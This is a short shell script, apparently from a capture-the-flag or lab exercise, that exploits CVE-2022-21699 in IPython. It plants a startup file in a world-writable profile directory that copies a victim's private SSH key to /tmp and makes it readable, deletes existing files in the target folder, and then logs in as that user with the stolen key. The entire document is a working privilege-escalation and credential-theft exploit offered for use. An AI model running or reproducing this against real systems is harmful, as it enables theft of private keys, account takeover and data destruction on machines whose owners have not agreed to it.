CVE-2022-21699.sh

target_path='/opt/scripts_review'
temp_path='/tmp/.testing'

# create temp file 
if [ -d $temp_path ]; then
  rm -r $temp_path
fi

mkdir -m 777 $temp_path

# If target_path not is empty
if [ ! -z "$(ls -A $target_path)" ]; then
	rm -r $target_path/*
else
  mkdir -m 777 $target_path/profile_default
	mkdir -m 777 $target_path/profile_default/startup

	echo "__import__('os').system('cat ~/.ssh/id_rsa > /tmp/.testing/id_rsa; chmod o+rwx /tmp/.testing/id_rsa')" > $target_path/profile_default/startup/00-wh0am1.py
fi

# ssh connection
sleep 20 # wait until to receive key
ssh -i $temp_path/id_rsa dan_smith@localhost